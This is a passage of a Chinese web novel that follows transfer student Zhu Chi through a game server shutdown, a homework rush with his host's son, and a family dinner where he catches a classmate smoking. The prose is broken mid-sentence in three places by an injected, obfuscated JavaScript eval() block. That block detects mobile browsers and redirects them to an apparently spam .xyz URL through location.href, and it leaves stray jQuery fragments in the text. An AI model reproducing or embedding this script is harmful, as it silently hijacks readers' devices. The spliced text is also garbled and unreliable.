祝池起身把他竖起的手指摁下去,将手搭在他肩上:“鱼和熊掌不可兼得,游戏和学习只能选一个。少年,奉劝你放下手机,坐定学习。” 贺景阳:“……” 这话听着怎么有点耳熟。 - 晚上祝池洗完澡,顺手将换下来的衣服带到洗手台旁,看了眼台面,才发现没有洗衣液。 祝池打算出去问问,开门的瞬间,门口站着个人正准备敲门。 “哎呦,吓我一跳。”琴姨捂着胸口说,祝池顺势后退一步。 “琴姨是有什么事吗?”祝池问。 “没事,我就是怕你不知道洗漱用品和毛巾在哪儿,也不知道贺景阳那个粗线条有没有和你说清楚,”琴姨瞥了眼祝池湿哒哒的头发,估摸他是已经洗完澡了,“不过看样子应该没什么大问题,头发记得吹一下,不然在空调房里容易感冒。” 祝池下意识捋了一下自己的湿发。 他在家里从来没有吹头发的习惯,尽管他的头发并不算短。 在他的认知里,男生是不需要用吹风机的,除了造型需要,但高中生显然也不需要,这还是第一次有人提醒他要吹头发 不过祝池还是将这件自认为没必要的麻烦事答应下来:“好,我一会儿就去吹。” 祝池又问:“对了,琴姨,有洗衣液或者肥皂之类的吗,我想把衣服给洗了。” 这个需求显然在柳琴的意料之外,她既惊讶又有点想笑,“大晚上洗什么衣服。” 柳琴直接绕进洗漱间,将他的脏衣服全部抱了出来。 “忘和你说了,以后换下来的衣服直接扔到洗衣机上的篓子里就行,第二天李妈会一块儿洗的,”琴姨给他指了指走廊尽头的洗衣机,“你专心学习就行,这种小事不用干。” 祝池站在原地愣住,柳姨已经抬脚往洗衣机的方向走了,走到一半又转头叮嘱:“想喝水就下楼接,冰箱里有水果和饮料,随便拿,不过还是少吃点冰的,可以提前拿出来。把这里当自己家就行,想干嘛干嘛,别拘着。今天好好休息,早上赶高铁起得也怪早的。” 祝池呆呆地“噢”了一声。 也不知是怎么了,他感觉自己的嘴和手,好像一下子变笨了不少。 关上房门,祝池坐回桌前。 这个迪士尼总统套房唯一朴实的家具当属这套桌椅,简约的原木色不加任何花里胡哨的修饰,对比起旁边堆满升降开关的自动化儿童桌椅,确实要寒碜不少。 不过,他看着顺眼就行。 “叮咚~” 祝池打开微信,看见“猴子”给他发了一串消息。 —天塌了! —我的赤血魔戒可能要祭天了! —背包都还没捂热乎呢! —这游戏不做人!!! 这通抱怨祝池看得云里雾里,并没有获得任何能够给出答复的有效信息。 住持:说重点! 猴子:你上号就知道了。 猴子:悲伤.jpg 祝池将笔记本从包里盘出来,崭新的笔记本他刚在高铁上装好系统,游戏也是刚下没多久。 祝池点开主页的“天地”图标,熟悉的大雕仍在天空自由盘旋,看不出有什么异样。他在键盘上飞速输入一串字符,果断点了登陆。 界面上的圆圈转了几秒,最后弹出来一个灰色提示框—— “‘盛世轮回’服务器失效,请联系客服转服或重新开号。” 祝池傻眼,忍不住彪了句脏话。 他知道这个游戏bug多,但没想到还能直接干到闭服的程度,他也知道这游戏不升级迟早会黄,但没想到这一天来得这么快。 不过祝池很快镇定下来。 住持:不是说联系客服转服嘛,先试试看再说。 猴子:我联系了啊,第一时间就联系了。 猴子:我问啥时候给转服,他就回答“转服需要时间,请您耐心等待”。我问他之前的账号装备不会丢吧,他就不吱声了。 猴子:我怀疑对面是机器人,连个正经客服都没有。 猴子:诈骗,纯纯诈骗!!! 即使隔着屏幕,祝池也能感受到猴子满溢的激动与愤慨,毕竟里面可是有他们熬了一夜的嗜血魔戒啊。 要说祝池转学,也全拜这枚戒指所赐。 高一下期末考试前那晚,猴子突然紧急把他召过来,说什么有内部消息,今晚必爆嗜血魔戒。 这个嗜血魔戒属于高级魂器,因其极端稀有性和极低出现率而被炒到天价。最近这个魔戒的风头尤盛,一个小小的戒指甚至有人愿意出将近一万元宝收购,折合人民币,也有个大几千了。 猴子说要是成了之后分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667827|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红一人一半,有钱不赚是傻子,祝池想也不是什么费力的事情,打个大怪而已。 然而他没料到,不是打一个,而是打一群。 大半夜过去了还是没什么收获,祝池觉得猴子的消息大概率不靠谱,本来就要下线,不过猴子好说歹说给他灌鸡汤,说什么来都来了就要坚持到底,离成功只差一步之遥,锲而不舍金石可镂,不能功亏一篑…… 兴许是大半夜脑子不太清醒,又或者是熬过两点他也不困了,祝池当时还真信了他的鬼话,和他整整磨了一夜。 好在功夫不负有心人,最后真让他们蹲到了嗜血魔戒。 第二天一早,祝池顶着大黑眼圈去考语文,最后他自己都不知道是怎么熬过那两个半小时的。 他以为自己是写完了卷子,最后被监考老师拍醒的那一刻,才发觉自己作文最后连个句号都没有,刚好卡在600字前两个格子。 按照他们学校的评分标准,每少五十字扣一分的前提是你得写满600字,哪怕刚好过600那个线一个字也能按正常流程给你判分。但如果不足600字,情况就糟糕得多。 老师基本不会怎么看你的文章,直接给打到没写完的那一趴,具体给分全凭老师个人心意,不过一般不超过20分,撑破天30。 最后祝池的作文得分就是这一档的天花板,30分。 他其实挺庆幸,但总排名却因为受语文牵连,从第一滑到了三十一。 第一次跌出一位数,第一次跌出前三十,无疑给祝池考试道路上留下了浓墨重彩的一笔。 祝池户口在怀州,最后高考还是得回来考。 宁女士原本就有让他转回去提前适应题目的想法,而且老友柳琴也主动提出叫祝池住过去,不过让她真正打定主意的,还得是这次滑铁卢。 宁女士向来只问结果不问过程,自动将祝池的成绩下滑归因到没人监督他学习上。她们生意忙实在抽不开身,所以最后决定送他来到这个她认为有人监督、有伴共学的贺景阳家。 祝池仰靠在椅背上,双手枕着头,电脑屏幕上的灰色图标依旧纹丝不动。 说来也挺讽刺,其实他在哪儿都是一样的。 天地这款游戏祝池小学五年级就开始玩,是款老牌3D机游,年龄估计比祝池还要大点。 虽然近几年手游爆火,在年轻人里更加流行,但这款机游的受众却仍然存在,还是有不少富豪愿意为它匡匡砸钱,所以在这个游戏里打装备卖装备,收入还是很客观的。 这台笔记本,就是祝池靠卖装备入的。 祝池对游戏的执念不深,通俗来说就是没瘾,都是些虚拟的东西,没了就没了,再换别的玩儿也一样。 至于那个打了一夜的嗜血魔戒,就当是丰富人生体验了。 祝池点开微信,猴子又在上面发了一阵疯,祝池象征性地安慰几句。 他退出来,手指误触了下,进了下面的群聊——“学习交流中心”。 要说这个群里的人,他好像只加了贺景阳。 祝池琢磨了下,觉得自己好像有加群里另外两个人的必要,之后或许在一个班,早点熟起来也不是什么坏事。 提交好友申请没多久,向日葵就给他通过了。 两人斗了几个表情包热场子,算作寒暄完毕。 至于另一个…… 十分钟过去,没有动静。 十五分钟过去,还是没有动静。 二十分钟…… 有了! 不过却不是手机消息。 电脑界面闪动一下,出现选服务区的提示:请您选择所要更换的服务区。 祝池扫了眼,一共就4个服务区。他没多想,选了最上面也是最出名的“君临天下”。 进去后还是熟悉的界面,祝池首先打开包裹,装备齐全,等级也没掉,最关键的是——嗜血魔戒还在。不过—— 榜一却不是他。 榜二显示的是他的游戏名:“hsm头头” 紧挨着的榜一名字很是和谐:“jzt尖” 祝池锁着眉盯了良久。 什么玩意儿? 脚指头尖? 5. 作业 祝池脑海里莫名冒出一幅奇异的画面: 一个胡子拉碴的抠脚大汉正岔着腿坐在电脑桌前,桌边放着一桶吃过一半的泡面,边吃嘴里还边骂着脏话。 外人看他邋里邋遢,作息混乱,只道是个不务正业的混子,谁曾想到这人就是江湖上大名鼎鼎、让人闻风丧胆的榜一大佬! 祝池啧了一声,大佬不愧是大佬,有个性。 猴子显然也在电脑边蹲守,他这边刚加载进来,私聊对话框里就弹出一串消息。 花果山大大王:来了吗? 花果山大大王:上YY。 花果山大大王:??? 头儿,你咋没声儿呢?听得见我说话吗? 祝池从包里翻出耳机,刚联上机就听见一阵混沌音在耳边轰鸣,他以为是耳机出了故障,直到猴子尖锐的一嗓门划破天际—— 兄弟们,我齐天大圣临川分圣又回来了,芜湖,欧耶。 这一嗓子差点没震破祝池耳膜,他立刻把音量调小几个度。 hsm头头:你是在酒吧还是在卡拉OK? 猴子:我在网吧,旁边哥几个都是等着换服的,现在正普天同庆呢。可惜了,你不在。 祝池心想拉倒吧,他不在,正好他们可劲儿抽烟。 猴子:唉,今儿怎么不说话,打字多慢啊。 hsm头头:寄人篱下,不敢放肆。 猴子:哦,差点儿忘了你现在住别人家……那哥们现在在你旁边? hsm头头:没,单人单间。不过我怕隔音效果不好,毕竟音量这个东西,上头后不好控制。 祝池打字很快,短则一两秒,长则大几秒,这一长串下来也就猴子他们阅读的时间,基本上可以实现语音文字无障碍交流。 猴子:也是。你那条件咋样,会不会憋屈? 祝池环顾了一圈他这个迪士尼豪华套间,在键盘上飞速敲下一句:独栋别墅,豪华套间,精装设计,就是少了个高尔夫球场,是挺憋屈的。 他这话说得不错。 省略了一些无关紧要的细节罢了。 不过猴子那头听后,又是一阵波澜壮阔的尖叫:哥,地址发我,我也想寄人篱下。 …… 祝池顺势点开旁边的喊话小红点,原想看看有没有人喊组队,结果满屏都是“萌新驾到,多多指教。” 他划拉了好几页也没到底,里头还不乏一些老熟人的名字。 真是醉了。 这帮子人是闲得蛋疼吧。 祝池在地图上选中三重天,想着反正都登号了,还是做点日常任务再走。 耳机里猴子那头又开始讨论起嗜血魔戒的事来。 猴子:那戒指咱赶紧卖了吧,不比价了,有人收就卖,别管他一万还是八千,就是五千我也出。落袋为安,钱揣进腰包才是真踏实。 鸭子:有道理,这行情也说不准,没准哪天这戒指就不值钱了。 豹子:我觉得成,有总比没有强。头儿你说呢? 祝池手上还在和风岩魔厮杀,没功夫去发消息,等他将爆出的匣子全部收入囊中,重新回到聊天框时,那边的讨论点已经从卖戒指转移到榜单上。 hsm头头:行,我把魔戒给你,你看着办吧。 猴子背包里突然多出个精致绝伦的戒指,是既欣喜又有压力,这和背着巨款去银行存钱没什么区别,最怕半路杀出个程咬金。 猴子:头儿,牛逼啊,换服了榜一还是你。 天地的全服排榜是按经验值来的,和你所拥有的资产不成直接关系。也就是说,不管你砸多少钱,买了多少高阶装备灵药,如果不做任务,不去打怪,不抢人头的话,也没法儿涨经验值。 换言之,经验值就是你游戏年龄和技术水平的直观反映。 祝池拉开榜单一看,那个jzt尖还真换到了他下面。 他就做了这么一会儿任务,这就反超了? 还以为这个脚趾头尖有多厉害呢。 祝池没谦虚:“还行,正常水平。” 从小到大,对祝池来说,考第一是家常便饭,得第一是正常发挥,无论是学习还是打游戏,他早就习惯了坐在第一的宝座。 当然,身边的人也自然默认,他就该是第一。 猴子:桃花镇有个结义活动,具体规则我还没搞清楚,不过说是可以抽奖,一等奖特别牛,据说是屠龙,一起去看看呗。 hsm头头:不了,等你搞清楚再说吧。我睡去了。 猴子:这才十点半,睡这么早? hsm头头:我早上四点起的。 猴子:嘿,巧了,我早上四点睡的。 …… - 祝池是卡着上学的日子来的。 怀城一中放假比他之前学校早,开学也更早,距离他高一期末考完不过五天时间,前前后后办转学手续又花了两三天,等到他过来后才得知,距离高二开学只剩下最后一天。 祝池好好的暑假,就这样水过去了。 贺景阳爽了一个暑假,最后一天才记起自己还有暑假作业没写完,急得火烧眉毛,在群里撒泼打滚求答案。 不过显然,另外两个好好学生是一定会见死不救的。 向日葵:之前是谁信誓旦旦说绝对自主完成,谁抄答案谁是孙子。 降神:爷爷,奶奶,祖宗,孙子在此。 …… 向日葵:等你哪天问过你爸,能改姓了再说。 没求到向日葵送温暖,贺景阳只好腆着脸去求他“爸爸”。 降神:好爸爸,您发发慈悲吧。您的一点小小善意,就能挽救一个在崩溃边缘徘徊的失足少年。 “降神”拍了拍“SSS”喊爸爸 …… 良久,对面终于给出回复。 SSS:卷子不一样,我没答案。 SSS:失足少年找警察去,我救不了。 贺景阳以头抢地,你特么不早说。 心拔凉拔凉的贺景阳退出学习交流中心,打算换个靠谱的群再挣扎一下,谁知刚退群群聊就又有了新消息。 这是……回心转意了? 住持:卷子拿来,我看看。 他怎么就忘了,隔壁就坐着个现成的学霸,干嘛舍近求远费老大劲求别人。 贺景阳抄起一沓卷子,火急火燎往祝池房间走。 楼下柳琴注意到他开门的动静,问:“暑假最后一天了,作业写完了吗?晚上有聚餐,记得把时间腾出来。”柳琴深知贺景阳德性,不拖到最后一天是写不完作业的。 “差不多了,”心虚之下,贺景阳将卷子背到身后,“就是个别题目不太确定,去找祝池请教请教。” 知子莫若母,柳琴道:“你那是个别题目吗,要是只有个别题目不会,就不止那点儿分了。” 话虽如此,但看儿子好歹还知道主动向学霸靠拢,学习态度是有的,是个好苗头,“行了,去吧,我一会儿给你们端点儿水果上去。” 贺景阳脚步顿住,急忙说:“不用……不用麻烦。” 柳琴:“?” “……吃水果会分心,我们一会儿自己下去拿就好。”贺景阳说,“您千万不要来打扰我们,思考需要一个安静的环境,尤其是深度思考。” 柳琴:“……” 祝池刚刷完一套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667828|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数学卷子,正在对答案,对钩打到一半,身后冷不丁传来一声: “学霸不愧是学霸,闭眼打勾就行。” 祝池手一抖,红勾跟着贺景阳的声波拐了山路十八弯,一个似勾非勾,似圈非圈的图形横卧在卷面中央。 贺景阳盯着卷子,道:“学霸打勾很艺术嘛。” 祝池闭眼叹口气:“你怎么不敲门。” “不好意思啊,”贺景阳挠着头说,“刚刚被我妈给逮着了,我想着赶紧溜进来,就给忘了。” “……” 贺景阳把卷子全部摊在桌上。 “这么多!” 祝池没想到,贺景阳最后一天还欠了十张卷子,他有点想回去把消息撤回,不过人已经来了。 贺景阳开始安慰人:“其实也没多少,有些是专题卷,就几道题……” 祝池抽了张他所谓的专题卷来看。 单面的,确实只有四道题。 “你管四道数学大题叫没多少,还都是压轴题。”祝池面如土色。 “对嘛,压轴题压轴登场,先易后难,这不得最后再写。” 贺景阳嚼起来一套一套的,祝池懒得和他争辩,现在去追究他为什么没早点写作业也没什么意义。 祝池把几张数学专题卷拿过来,另外几张常规试卷推到贺景阳面前,“你也别闲着,最后时间能做多少做多少。” 十张试卷瞬间被压缩到四张,贺景阳瞬间有了奔头,跟打了鸡血似的拿起笔来,“OK,看我不分分钟拿下。” 接下来大半天,两个人做试卷做到飞起。 这是一场脑力与体力的持久战,也是一场与时间赛跑的追逐战。 贺景阳叮嘱柳琴别来打扰,但柳琴看楼上房门紧闭,半天都没动静,没忍住,还是开了道缝。 房门后,两个少年静坐桌前,阳光透过窗帘洒在二人匍匐的肩背上,万籁俱寂,只听得见笔尖在纸上滑动的沙沙响声。 一切美好得不像话。 柳琴轻手轻脚带上房门,鼻尖莫名一阵发酸。 她既欣慰又感慨:小池一来,贺景阳也是开窍了,小池要是早点来就好了。 晚上六点,两人极限一把,还真把十张卷子给搞定了。 贺景阳倚着靠背累得半死,虽然很爽,但也是元气大伤。 旁边的祝池却跟没事人一样,只是转着脖子活动肩颈。 写题时,贺景阳时不时用余光观察祝池进度,就看他眼皮都不带抬一下,一题接一题地翻试卷,每题都写的满满当当。 旁边的人稳坐如山,下笔如有神,搞得贺景阳也一刻不敢松懈。 贺景阳把做完的试卷收起来,听见楼下柳琴的声音:“你俩收拾好了吗?准备出门,别让人家久等。” 祝池问:“去哪儿?” 贺景阳道:“就是一个小聚餐,三家人,我们一家,许向暖一家,还有宋时他们一家。” 祝池“哦”了声,没再多问。 贺景阳边选衣服边说:“其实这种有大人的聚餐我也不喜欢,不过今天没咱啥事,你放轻松就好,就当是去吃顿好的,反正主角也不是咱。” 祝池:“?” “你俩好了没?”楼下柳琴已经换好鞋,在玄关处催促。 “来了。”贺景阳朝楼下大喊一声,随便捞了件T恤套上。 边下楼贺景阳边扭头说:“说是赶在我们一帮子孩子开学前聚聚,实际上是给江遇安办践行宴。你要是再早来几天,门口的横幅还没拆呢。那句话怎么说来着——” “满庭芳园状元府,清北摇篮邻一中,恭喜江遇安同学夺得2019年全市理科状元。” 6. 扫码 接过电话后,柳琴又开始催促:“贺景阳,每次出门就属你最磨蹭。你这穿得花枝招展的,是要给谁开屏啊。” 贺景阳早对柳琴的叨叨免疫了,边系鞋带边道:“我这不还是随了您,您这身行头应该是挑了一下午吧。” 祝池换好鞋在旁边看热闹,他才刚来一天,都快习惯母子俩吵吵闹闹的相处模式了。 柳琴被贺景阳噎得说不出话,在他后背拍了下:“行了,赶紧。” 聚餐的酒店不远,约莫十来分钟车程。 走进包厢,圆桌旁已经围了大半圈人,贺景阳一家显然是最晚到的。 “你们可算来了,”瘦高个男人站起来,招呼他们坐下,“给你们留了位子,赶紧坐。” 另一侧的两个大小伙一前一后起身,礼貌喊人:“贺叔叔好,琴姨好。” 两人身量差不多,都很高,一个是宋时,另一个不认识,想来是贺景阳口中今晚的主角市状元没错。 瘦高个男人往身后看了眼,伸手拽了拽旁边的人。 许向暖在桌下玩手机玩得正专注,被许巍提醒后才意识到有人进来,她将手机扣在桌上,忙不迭喊人:“……琴姨好,贺叔叔好。” 柳琴跟贺云天眉开眼笑地回复:“好好好,都好。” 接着,拉过祝池给人介绍:“这是光明和宁想的儿子,祝池,马上也上高二。他爸妈生意忙没空照顾,现在暂时住我们家,明天也去一中报到” 众人将目光齐刷刷投向祝池。 柳琴指着桌上的人给祝池介绍:“这是许叔叔和徐阿姨,这是江叔叔和安阿姨。” 祝池头捣蒜似的点了一转,和桌上的长辈一一打过招呼,“许叔叔好,徐阿姨好……” 众叔叔阿姨:“你好……” 许巍拍了拍祝池肩膀:“这小伙子长得真俊俏,听说学习成绩也不错。” 柳琴拍着自己胸脯说:“那是,他妈当年可是十里八乡第一美人,生出来的儿子怎么会丑。还有,小池学习成绩何止是不错,在之前学校可经常是这个水平。” 柳琴伸出食指比了个“1”。 徐慧惊叹:“这么厉害。”接着,朝宋时的方向瞥了眼。 祝池再次成为全场的焦点,一众钦佩欣赏的目光投过来,可其中却混进了一双不怎么友好的眼眸。 是宋时。 木秀于林风必摧之,祝池意识到,柳琴这是把他捧过头了。 祝池笑着摆手:“没那么夸张。我之前的学校是普高,水平不怎么样,和一中肯定没法比。” 不过鸡头也是头,许巍道:“小祝真谦虚,但别妄自菲薄,在普高就这么优秀,换到更好的环境,只会更加优秀。” “我努努力,争取不吊车尾。”祝池微笑点头。 闲聊完,四人准备落座。 剩下的四个位置是紧挨着的,贺云天和柳琴直接把靠近许巍那头的两个位子占了,另一头坐边上的人是宋时,估计是考虑到想让他们几个孩子坐一块。 剩下两个位子,贺景阳和祝池选得十分默契。 贺景阳不想挨着柳琴,自觉拉开宋时旁的椅子坐下,祝池不想离宋时太近。 毕竟不熟,好友都没加上呢。 接下来的饭局如贺景阳先前所言,主角不是他们,提到最多的人就是那个叫江遇安的市状元。 酒桌上的大人边喝酒边聊天,从今年的高考分数聊到各大高校的招生计划,从专业分析又扯到当下的社会热点、就业形势。 一番大谈特谈之后,他们显然也没能得出确切的答案,话题再次回到市状元的含金量上来。 许巍举着酒杯敬状元:“遇安,你这个状元可不得了,听说今年省状元是个复读生,要说应届生,你就是分最高的。叔叔祝贺你取得好成绩。” 徐慧:“而且我们省是教育大省,难度和竞争在全国都是响当当的,能考出这个分数可不容易。” 贺云天附和:“对对对,遇安争气,开了个好头,正好给这帮弟弟妹妹做足了榜样。” 面对汹涌的夸赞,当事人却表现得十分淡定,“高考只是人生路上的一个阶段性检测,考完也就翻篇了,之后还有很多要学习的东西,我还得继续努力才行。” “瞧瞧看,这思想觉悟,胜不骄败不馁,是干大事的样子。”话音刚落,柳琴两手一拍说,“悦梅、老江,分享一下教育经验呗,怎么就培养出这么优秀的孩子。” 祝池就坐江遇安对面,可谓占据了绝佳观察位置,稍稍抬头便能看见对方。 江遇安看着斯斯文文的,头发修剪得整齐,衬衫纽扣扣到最上面一颗,浆洗得发白的衣衫干净简洁,不带一丝褶皱,光是看着就能嗅到一股洗衣液的清爽香气。 从外形气质到言谈举止,浑身上下都散发着好学生的光华。 江遇安旁边,一直没怎么说话的安悦梅温声道:“遇安从小就听话懂事,不用我们操心,全靠他自己自觉。” 女人长相带着些江南女子的古韵,温婉清雅,江遇安的长相应该是随她母亲。 安悦梅把江遇安面前的碗拿过来,帮他盛了碗排骨藕汤,“你爱吃的,多吃点。去学校了不一定吃得到。” 江遇安自然接过碗,朝她笑笑。 作为边缘人的祝池和贺景阳正埋头干饭。 当然,干饭俱乐部不止他俩,还有同样沉默的宋时。谈话间,宋时吃饭的动作陡然加快不少。 “兄弟,你吃这么急干嘛,有事啊?”贺景阳问。 宋时愣愣点了下头:“嗯。” “啥事儿?”贺景阳又问,“你该不会也没写完作业,急着回去补吧?” “……” 宋时没理他,撂下碗筷。 排骨汤刚好要转过来,贺景阳盯了半天,已经做好起身拿勺的动作。 不幸的是,仅仅离他只差两个人,却又被中途截胡了。 江诚看见宋时碗刚好空着,伸手端过去给他也盛了碗排骨,“小时,再喝碗汤。” 男人说话很温和,尤其是对宋时。 宋时垂下眼,盯着面前的排骨汤看了良久,却没有要动筷的打算。 他起身留下句:“我吃饱了,开学前还有些资料要整理,就先走了。叔叔阿姨们慢慢吃,我先失陪了。” 一大碗排骨汤就这么被打入冷宫,贺景阳看着挺可惜,把里面的肉给捞了过来。 “原来学霸也有作业没写完,”贺景阳自顾自说,“学到了,以后补作业得说整理资料。” “这就吃饱了,不再吃点?” 柳琴似乎还想挽留,宋时走到门口的脚步一滞,像是在等待什么。 “随他去,不用管他。”安悦梅开口。 听到这句话,宋时没回头,这回走得利落。 徐慧感叹:“宋时这孩子也是优秀,平常学习就努力用功,听向暖说,宋时高一回回考第一呢。” 江诚嘴张了张,像是要说什么,却被安悦梅抢先一步:“才高一,刚分科半年,还没定型呢,之后能不能稳住也不好说。他不像他哥哥这么聪明,只能以勤补拙了。” 徐慧说:“你太谦虚了,宋时要是都不够聪明,那许向暖这个资质,恐怕是在特奥班待不下去了。” 看两个孩子永远挂在光荣榜的家长谦让来谦让去,柳琴实在忍不了了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15667829|173004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我说你俩别争了,”不是特奥班家长的柳琴最有发言权,“真正不聪明的在这儿呢。” 贺景阳:“……” 刚才祝池就觉得宋时他们家气氛怪怪的,想问贺景阳但碍于宋时就在旁边,这会儿他走了,祝池凑到贺景阳身边问:“宋时是跟他哥关系不好吗?” “怎么看出来的?” 贺景阳有点惊,他自认为今天饭局挺正常,无事发生,想不通祝池是哪根神经这么敏锐。 “不过你猜对了,他们不是亲兄弟,重组家庭。”贺景阳小声说。 祝池想当然道:“宋时他爸和江遇安他妈?” 贺景阳早就料到他会这么猜,摆了摆食指:“nonono,恰恰相反,是宋时她妈和江遇安他爸。” 祝池有点蒙,结合刚才几人的亲疏关系,不应该啊。 等他再反应过来时,祝池突然觉得自己蠢爆了。 他忘了,宋时姓宋。 不知是哪盘菜惹的祸,祝池突然觉得腹部一阵翻江倒海,仿佛有双无形的手拧绞着他的肠道。 他涨得满脸通红,和琴姨支会一声,便忙不迭出门找厕所。 便意来得汹涌猛烈,让人猝不及防,好在出门抬头就看见一个绿色指路牌。 祝池捂着肚子冲向厕所间。 等他再次推开门时,简直跟重获新生似的,浑身轻快,无比舒畅。 总是一个字:爽。 只是这点舒畅很快就被一股呛人的味道打破。 祝池皱起眉头,不自觉咳了两声。 谁特么这么没素质,在厕所抽烟。 酒店的洗手台很长,祝池就近在角落的洗手台洗手。 打完泡沫后,他按照幼儿园老师教的七步洗手法仔细清洗,洗手台旁边的人换了一个又一个,唯独他迟迟没动。 突然,祝池冷不丁打了个喷嚏。 他对烟味很敏感,即使是洗手液的香味也盖不住细微的烟味。 他倒要看看,是谁这么没素质。 祝池抬头看向旁边,一个熟悉的侧脸闯入眼帘。 烟味的源头是——宋时! 对方显然是没有发现他,甩了两下手上的水抬脚就往外走。 祝池赶紧冲掉手上的泡沫,跟了出去。 “喂,好学生也抽烟的吗?”祝池喊住他。 虽然没有指名道姓,但宋时却回头了。 “你怎么在这儿?”宋时显然有点诧异。 祝池觉得他这话问得莫名其妙,来卫生间当然是上厕所啊,难不成是来抽烟。 “你家里人允许你抽烟吗?”祝池问。 宋时冷冷道:“少多管闲事。” 祝池不会被这话唬住,谁让宋时污染到他肺了,他现在看他很不爽,“你不怕我回去就检举你?” 宋时显然没料到这人如此咄咄逼人,是个刺头,他眼眸闪动一下:“你可以试试。” 听着像在放狠话,不过祝池不怕。 他看得出来,宋时没立刻走,眼底还透着担忧和迟疑,说明他在乎。 祝池懒懒倚在墙边,掏出手机,将二维码放在他面前,眼尾带着一抹漫不经心的笑意,“好说,V我50,我就当没看见。” 宋时压着火,攥了攥拳头。 看他犹豫,祝池左右摇晃着手机,说:“放心,收了封口费,我是绝对不会说出去的。” 祝池眼睛亮亮的,看着不像是会撒谎的无良商家。 半晌,宋时还是掏出了手机。 就在他准备扫码时,祝池突然间收回手,换了个码给他,“扫这个码的话可以打折,只要25。” 7. 好友 宋时面前摆着个大大的黑白二维码—— 不是收款码,而是二维码名片,那种扫码加好友的二维码名片。 而这个人的好友申请,宋时今天上午刚拒绝。 这倒不是因为对他有偏见,成心想针对他,宋时就是纯纯懒得加人。 他不喜欢主动发消息,也不喜欢回消息,现在通讯录里不过二十来人,除了亲属老师,同龄人也就只有贺景阳他们几个。 “五折,这优惠力度够意思了吧。”祝池把手机朝他面前推了推,“限时秒杀,过时原价,快扫吧。” 扫你妈扫,强买强卖你还有理了。 宋时看他一副欠揍样,有种上去抡一拳的冲动,只是碍于公共场合,不得不克制。 两人僵持了两秒,宋时放下手机想转身走人,微信界面却仍停留在扫一扫上。 祝池察觉到他还在犹豫,刚要催促,就听见有人叫他—— “小祝,刚上了羊肉包子,快趁热来吃。” 走廊尽头晃过个纤细的人影,一道熟悉的声音落在身后,宋时脚步一滞,不自觉绷直了身体。 包厢外光线昏暗,酒店似乎是专门营造的这种高级暗黑风,为的是彰显格调。 宋时半个身子隐在黑暗中,光影绰绰,安悦梅似乎没注意到他,只朝祝池招了招手。 “好,来了。”祝池答道,边说边绕到宋时斜前方,帮人挡了挡。 安悦梅没多言,转身走进包厢。 人走后,祝池退回原位,小声朝面前的人说:“你妈妈……走了。” 宋时愣在原地,乌黑眼眸融进暗流,看不出什么情绪。 “别磨蹭了,”祝池将他手翻过来,朝自己手机靠了下,“我先走了,回去记得转我。” 还没没走几步,祝池就又回过头,从兜里不知摸出个什么东西,朝宋时的方向扔了过去。 “赠品,去去身上的味儿。” 宋时身手不错,将暗器在空中拦截下来,没让人偷袭得逞。 他松开五指看,一颗薄荷糖正摊在掌心,绿色包装袋,光看着就很清凉。 “烟味怪难闻的,劝你趁早戒了。青少年,别学这些。”祝池拧了把眉毛,有点嫌弃。 “……” 说完没等宋时反应,扭头便走了。 手机页面弹出微信昵称和头像,宋时手指悬在“添加到通讯录”上方,犹豫片刻,不知下定多大决心,终于还是发送了好友申请。 这还是他第一次为这种破事主动加人。 主食是最后端上来的,祝池回到包厢时,桌上已是一片残局,羊肉包子给每人分了一个。 柳琴兴致不错,正好今天几个姐妹齐全,她号着徐慧和安悦梅一块打麻将。 牌桌三差一,没喝多少的江诚被捞过去顶上,剩下两个面红耳赤的人趁着酒劲扯七扯八,仿佛还不尽兴,继续往对方杯中添酒。 吃饱喝足后,他们几个孩子在这里待着无聊,招呼一声打算先走。祝池嚼完嘴里最后一口包子,用纸巾擦干净嘴,跟着出了门。 “等一下,我肚子怎么也突然疼起来了,这饭菜肯定有问题,”贺景阳捂着肚子乱叫,“我去趟厕所,你们等等我。” 只是贺景阳眼神不好使,面前那么大的指路牌也没看见。他一路哭爹喊娘问厕所,服务生看他惨白脸上淌着汗,还以为他是得了什么病,拉着他忧心忡忡问状况。 谁知这一拉,对面脸色反而更差了。贺景阳脸青一阵白一阵,急得像个跳脚猫。 祝池没眼看,赶紧跑过去给他指方向。 五分钟后,贺景阳还没出来,许向暖等得不耐烦,说:“照贺景阳的尿性,起码得一个钟头,之前和他一块去爬山,他足足蹲了半个小时呢……要不给他发个消息,说我们先走?” 许向暖瞟向江遇安,弱弱问了句。 江遇安没回答,似乎还在纠结,撇下贺景阳一个人不合适,傻傻等半个小时也挺磨人。 沉默片刻,祝池先开口道:“你们着急要不先走,我在这儿等他就行。” 许向暖抬眼看祝池,眸光微不可察闪烁一下。 